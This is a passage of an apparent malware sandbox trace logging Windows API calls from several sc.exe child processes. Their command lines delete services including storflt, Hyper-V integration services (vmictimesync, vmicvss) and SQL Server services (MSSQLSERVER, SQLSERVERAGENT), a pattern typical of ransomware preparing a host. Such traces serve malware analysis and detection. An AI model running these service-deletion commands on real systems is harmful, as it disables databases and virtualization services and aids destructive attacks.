_StartInfo=0xffc1b050 | out: _Argc=0xffc1b604, _Argv=0xffc1b610, _Env=0xffc1b608) returned 0 [0068.370] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.409] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0068.409] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0068.409] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0068.409] _wcsicmp (_String1="delete", _String2="query") returned -13 [0068.409] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0068.409] _wcsicmp (_String1="delete", _String2="start") returned -15 [0068.409] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0068.409] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0068.409] _wcsicmp (_String1="delete", _String2="control") returned 1 [0068.409] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0068.409] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0068.409] _wcsicmp (_String1="delete", _String2="config") returned 1 [0068.409] _wcsicmp (_String1="delete", _String2="description") returned -7 [0068.409] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0068.410] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0068.410] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0068.410] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0068.410] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0068.410] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0068.410] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0068.410] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0068.410] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0068.410] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0068.410] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0068.410] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0068.410] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0068.410] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0068.410] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0068.410] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0068.410] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0068.410] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0068.410] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0xe4370 [0068.414] OpenServiceW (hSCManager=0xe4370, lpServiceName="storflt", dwDesiredAccess=0x10000) returned 0xe43a0 [0068.415] DeleteService (hService=0xe43a0) returned 1 [0068.417] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x64, dwLanguageId=0x0, lpBuffer=0x24f770, nSize=0x2, Arguments=0x24f7d8 | out: lpBuffer="붰\x0e") returned 0x1c [0068.419] GetFileType (hFile=0x120) returned 0x3 [0068.419] LocalAlloc (uFlags=0x0, uBytes=0x38) returned 0xe6fe0 [0068.419] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] DeleteService SUCCESS\r\n", cchWideChar=28, lpMultiByteStr=0xe6fe0, cbMultiByte=56, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] DeleteService SUCCESS\r\n", lpUsedDefaultChar=0x0) returned 28 [0068.419] WriteFile (in: hFile=0x120, lpBuffer=0xe6fe0*, nNumberOfBytesToWrite=0x1c, lpNumberOfBytesWritten=0x24f718, lpOverlapped=0x0 | out: lpBuffer=0xe6fe0*, lpNumberOfBytesWritten=0x24f718*=0x1c, lpOverlapped=0x0) returned 1 [0068.419] LocalFree (hMem=0xe6fe0) returned 0x0 [0068.419] LocalFree (hMem=0xebdb0) returned 0x0 [0068.419] LocalFree (hMem=0x0) returned 0x0 [0068.419] CloseServiceHandle (hSCObject=0xe43a0) returned 1 [0068.420] CloseServiceHandle (hSCObject=0xe4370) returned 1 [0068.422] exit (_Code=0) Thread: id = 17 os_tid = 0x824 Process: id = "10" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3f2ea000" os_pid = "0x834" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete vmictimesync" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 18 os_tid = 0x844 [0068.477] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12fdd0 | out: lpSystemTimeAsFileTime=0x12fdd0*(dwLowDateTime=0x41588450, dwHighDateTime=0x1d62774)) [0068.477] GetCurrentProcessId () returned 0x834 [0068.477] GetCurrentThreadId () returned 0x844 [0068.477] GetTickCount () returned 0x1148c0a [0068.477] QueryPerformanceCounter (in: lpPerformanceCount=0x12fdd8 | out: lpPerformanceCount=0x12fdd8*=18815248834) returned 1 [0068.478] GetModuleHandleW (lpModuleName=0x0) returned 0xff410000 [0068.478] __set_app_type (_Type=0x1) [0068.478] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff417228) returned 0x0 [0068.478] __wgetmainargs (in: _Argc=0xff41b604, _Argv=0xff41b610, _Env=0xff41b608, _DoWildCard=0, _StartInfo=0xff41b050 | out: _Argc=0xff41b604, _Argv=0xff41b610, _Env=0xff41b608) returned 0 [0068.479] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.509] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0068.509] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0068.509] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0068.509] _wcsicmp (_String1="delete", _String2="query") returned -13 [0068.510] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0068.510] _wcsicmp (_String1="delete", _String2="start") returned -15 [0068.510] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0068.510] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0068.510] _wcsicmp (_String1="delete", _String2="control") returned 1 [0068.510] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0068.510] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0068.510] _wcsicmp (_String1="delete", _String2="config") returned 1 [0068.510] _wcsicmp (_String1="delete", _String2="description") returned -7 [0068.510] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0068.510] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0068.510] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0068.510] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0068.510] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0068.510] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0068.510] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0068.510] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0068.510] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0068.510] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0068.510] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0068.510] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0068.510] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0068.510] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0068.510] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0068.510] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0068.510] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0068.510] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0068.511] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x264370 [0068.515] OpenServiceW (hSCManager=0x264370, lpServiceName="vmictimesync", dwDesiredAccess=0x10000) returned 0x0 [0068.516] GetLastError () returned 0x424 [0068.516] _itow (in: _Dest=0x424, _Radix=1244216 | out: _Dest=0x424) returned="1060" [0068.516] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff41b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0068.518] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x12fbf0, nSize=0x2, Arguments=0x12fc20 | out: lpBuffer="跀&") returned 0x62 [0068.518] GetFileType (hFile=0x120) returned 0x3 [0068.518] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x268ea0 [0068.519] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x268ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n&", lpUsedDefaultChar=0x0) returned 98 [0068.519] WriteFile (in: hFile=0x120, lpBuffer=0x268ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x12fb98, lpOverlapped=0x0 | out: lpBuffer=0x268ea0*, lpNumberOfBytesWritten=0x12fb98*=0x62, lpOverlapped=0x0) returned 1 [0068.519] LocalFree (hMem=0x268ea0) returned 0x0 [0068.519] LocalFree (hMem=0x268dc0) returned 0x0 [0068.519] LocalFree (hMem=0x0) returned 0x0 [0068.519] CloseServiceHandle (hSCObject=0x264370) returned 1 [0068.523] exit (_Code=1060) Thread: id = 19 os_tid = 0x854 Process: id = "11" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3fff0000" os_pid = "0x864" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete vmicvss" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 20 os_tid = 0x874 [0068.581] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1cfcb0 | out: lpSystemTimeAsFileTime=0x1cfcb0*(dwLowDateTime=0x41692df0, dwHighDateTime=0x1d62774)) [0068.581] GetCurrentProcessId () returned 0x864 [0068.581] GetCurrentThreadId () returned 0x874 [0068.581] GetTickCount () returned 0x1148c77 [0068.582] QueryPerformanceCounter (in: lpPerformanceCount=0x1cfcb8 | out: lpPerformanceCount=0x1cfcb8*=18825716328) returned 1 [0068.583] GetModuleHandleW (lpModuleName=0x0) returned 0xff360000 [0068.583] __set_app_type (_Type=0x1) [0068.583] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff367228) returned 0x0 [0068.583] __wgetmainargs (in: _Argc=0xff36b604, _Argv=0xff36b610, _Env=0xff36b608, _DoWildCard=0, _StartInfo=0xff36b050 | out: _Argc=0xff36b604, _Argv=0xff36b610, _Env=0xff36b608) returned 0 [0068.583] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.585] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0068.585] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0068.585] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0068.585] _wcsicmp (_String1="delete", _String2="query") returned -13 [0068.585] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0068.585] _wcsicmp (_String1="delete", _String2="start") returned -15 [0068.585] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0068.586] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0068.586] _wcsicmp (_String1="delete", _String2="control") returned 1 [0068.586] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0068.586] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0068.586] _wcsicmp (_String1="delete", _String2="config") returned 1 [0068.586] _wcsicmp (_String1="delete", _String2="description") returned -7 [0068.586] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0068.586] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0068.586] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0068.586] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0068.586] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0068.586] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0068.586] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0068.586] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0068.586] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0068.586] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0068.586] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0068.586] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0068.586] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0068.586] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0068.586] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0068.586] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0068.586] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0068.586] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0068.586] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3c4370 [0068.591] OpenServiceW (hSCManager=0x3c4370, lpServiceName="vmicvss", dwDesiredAccess=0x10000) returned 0x0 [0068.591] GetLastError () returned 0x424 [0068.591] _itow (in: _Dest=0x424, _Radix=1899288 | out: _Dest=0x424) returned="1060" [0068.591] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff36b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0068.593] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x1cfad0, nSize=0x2, Arguments=0x1cfb00 | out: lpBuffer="跀<") returned 0x62 [0068.593] GetFileType (hFile=0x120) returned 0x3 [0068.593] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x3c8ea0 [0068.593] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x3c8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n<", lpUsedDefaultChar=0x0) returned 98 [0068.593] WriteFile (in: hFile=0x120, lpBuffer=0x3c8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x1cfa78, lpOverlapped=0x0 | out: lpBuffer=0x3c8ea0*, lpNumberOfBytesWritten=0x1cfa78*=0x62, lpOverlapped=0x0) returned 1 [0068.593] LocalFree (hMem=0x3c8ea0) returned 0x0 [0068.593] LocalFree (hMem=0x3c8dc0) returned 0x0 [0068.593] LocalFree (hMem=0x0) returned 0x0 [0068.594] CloseServiceHandle (hSCObject=0x3c4370) returned 1 [0068.681] exit (_Code=1060) Thread: id = 21 os_tid = 0x884 Process: id = "12" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3fdf5000" os_pid = "0x894" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete MSSQLFDLauncher" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 22 os_tid = 0x8a4 [0068.744] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24f970 | out: lpSystemTimeAsFileTime=0x24f970*(dwLowDateTime=0x41777630, dwHighDateTime=0x1d62774)) [0068.744] GetCurrentProcessId () returned 0x894 [0068.744] GetCurrentThreadId () returned 0x8a4 [0068.744] GetTickCount () returned 0x1148cd5 [0068.744] QueryPerformanceCounter (in: lpPerformanceCount=0x24f978 | out: lpPerformanceCount=0x24f978*=18841939187) returned 1 [0068.745] GetModuleHandleW (lpModuleName=0x0) returned 0xffa00000 [0068.746] __set_app_type (_Type=0x1) [0068.746] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffa07228) returned 0x0 [0068.746] __wgetmainargs (in: _Argc=0xffa0b604, _Argv=0xffa0b610, _Env=0xffa0b608, _DoWildCard=0, _StartInfo=0xffa0b050 | out: _Argc=0xffa0b604, _Argv=0xffa0b610, _Env=0xffa0b608) returned 0 [0068.747] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.752] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0068.752] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0068.752] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0068.752] _wcsicmp (_String1="delete", _String2="query") returned -13 [0068.752] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0068.752] _wcsicmp (_String1="delete", _String2="start") returned -15 [0068.752] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0068.752] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0068.753] _wcsicmp (_String1="delete", _String2="control") returned 1 [0068.753] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0068.753] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0068.753] _wcsicmp (_String1="delete", _String2="config") returned 1 [0068.753] _wcsicmp (_String1="delete", _String2="description") returned -7 [0068.753] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0068.753] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0068.753] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0068.753] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0068.753] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0068.753] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0068.753] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0068.753] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0068.753] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0068.753] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0068.753] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0068.753] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0068.753] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0068.753] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0068.753] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0068.753] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0068.753] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0068.753] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0068.753] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3043d0 [0068.758] OpenServiceW (hSCManager=0x3043d0, lpServiceName="MSSQLFDLauncher", dwDesiredAccess=0x10000) returned 0x0 [0068.758] GetLastError () returned 0x424 [0068.758] _itow (in: _Dest=0x424, _Radix=2422744 | out: _Dest=0x424) returned="1060" [0068.758] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffa0b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0068.761] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x24f790, nSize=0x2, Arguments=0x24f7c0 | out: lpBuffer="趰0") returned 0x62 [0068.761] GetFileType (hFile=0x120) returned 0x3 [0068.761] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x308e90 [0068.761] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x308e90, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n0", lpUsedDefaultChar=0x0) returned 98 [0068.761] WriteFile (in: hFile=0x120, lpBuffer=0x308e90*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x24f738, lpOverlapped=0x0 | out: lpBuffer=0x308e90*, lpNumberOfBytesWritten=0x24f738*=0x62, lpOverlapped=0x0) returned 1 [0068.761] LocalFree (hMem=0x308e90) returned 0x0 [0068.761] LocalFree (hMem=0x308db0) returned 0x0 [0068.762] LocalFree (hMem=0x0) returned 0x0 [0068.762] CloseServiceHandle (hSCObject=0x3043d0) returned 1 [0068.765] exit (_Code=1060) Thread: id = 23 os_tid = 0x8b4 Process: id = "13" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3f5fd000" os_pid = "0x8c4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete MSSQLSERVER" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 24 os_tid = 0x8d4 [0069.019] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x14f890 | out: lpSystemTimeAsFileTime=0x14f890*(dwLowDateTime=0x41881fd0, dwHighDateTime=0x1d62774)) [0069.019] GetCurrentProcessId () returned 0x8c4 [0069.019] GetCurrentThreadId () returned 0x8d4 [0069.019] GetTickCount () returned 0x1148d42 [0069.019] QueryPerformanceCounter (in: lpPerformanceCount=0x14f898 | out: lpPerformanceCount=0x14f898*=18869481400) returned 1 [0069.021] GetModuleHandleW (lpModuleName=0x0) returned 0xffdf0000 [0069.021] __set_app_type (_Type=0x1) [0069.021] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffdf7228) returned 0x0 [0069.021] __wgetmainargs (in: _Argc=0xffdfb604, _Argv=0xffdfb610, _Env=0xffdfb608, _DoWildCard=0, _StartInfo=0xffdfb050 | out: _Argc=0xffdfb604, _Argv=0xffdfb610, _Env=0xffdfb608) returned 0 [0069.022] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0069.024] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0069.024] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0069.024] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0069.024] _wcsicmp (_String1="delete", _String2="query") returned -13 [0069.024] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0069.024] _wcsicmp (_String1="delete", _String2="start") returned -15 [0069.024] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0069.024] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0069.024] _wcsicmp (_String1="delete", _String2="control") returned 1 [0069.024] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0069.024] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0069.024] _wcsicmp (_String1="delete", _String2="config") returned 1 [0069.024] _wcsicmp (_String1="delete", _String2="description") returned -7 [0069.024] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0069.024] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0069.024] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0069.024] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0069.024] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0069.024] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0069.024] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0069.024] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0069.025] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0069.025] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0069.025] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0069.025] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0069.025] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0069.025] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0069.025] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0069.025] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0069.025] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0069.025] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0069.025] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x1f4370 [0069.031] OpenServiceW (hSCManager=0x1f4370, lpServiceName="MSSQLSERVER", dwDesiredAccess=0x10000) returned 0x0 [0069.032] GetLastError () returned 0x424 [0069.032] _itow (in: _Dest=0x424, _Radix=1373944 | out: _Dest=0x424) returned="1060" [0069.032] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffdfb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0069.034] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x14f6b0, nSize=0x2, Arguments=0x14f6e0 | out: lpBuffer="跀\x1f") returned 0x62 [0069.034] GetFileType (hFile=0x120) returned 0x3 [0069.034] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x1f8ea0 [0069.034] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x1f8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x1f", lpUsedDefaultChar=0x0) returned 98 [0069.034] WriteFile (in: hFile=0x120, lpBuffer=0x1f8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x14f658, lpOverlapped=0x0 | out: lpBuffer=0x1f8ea0*, lpNumberOfBytesWritten=0x14f658*=0x62, lpOverlapped=0x0) returned 1 [0069.034] LocalFree (hMem=0x1f8ea0) returned 0x0 [0069.035] LocalFree (hMem=0x1f8dc0) returned 0x0 [0069.035] LocalFree (hMem=0x0) returned 0x0 [0069.035] CloseServiceHandle (hSCObject=0x1f4370) returned 1 [0069.037] exit (_Code=1060) Thread: id = 25 os_tid = 0x8e4 Process: id = "14" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3e602000" os_pid = "0x8f4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete SQLSERVERAGENT" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = 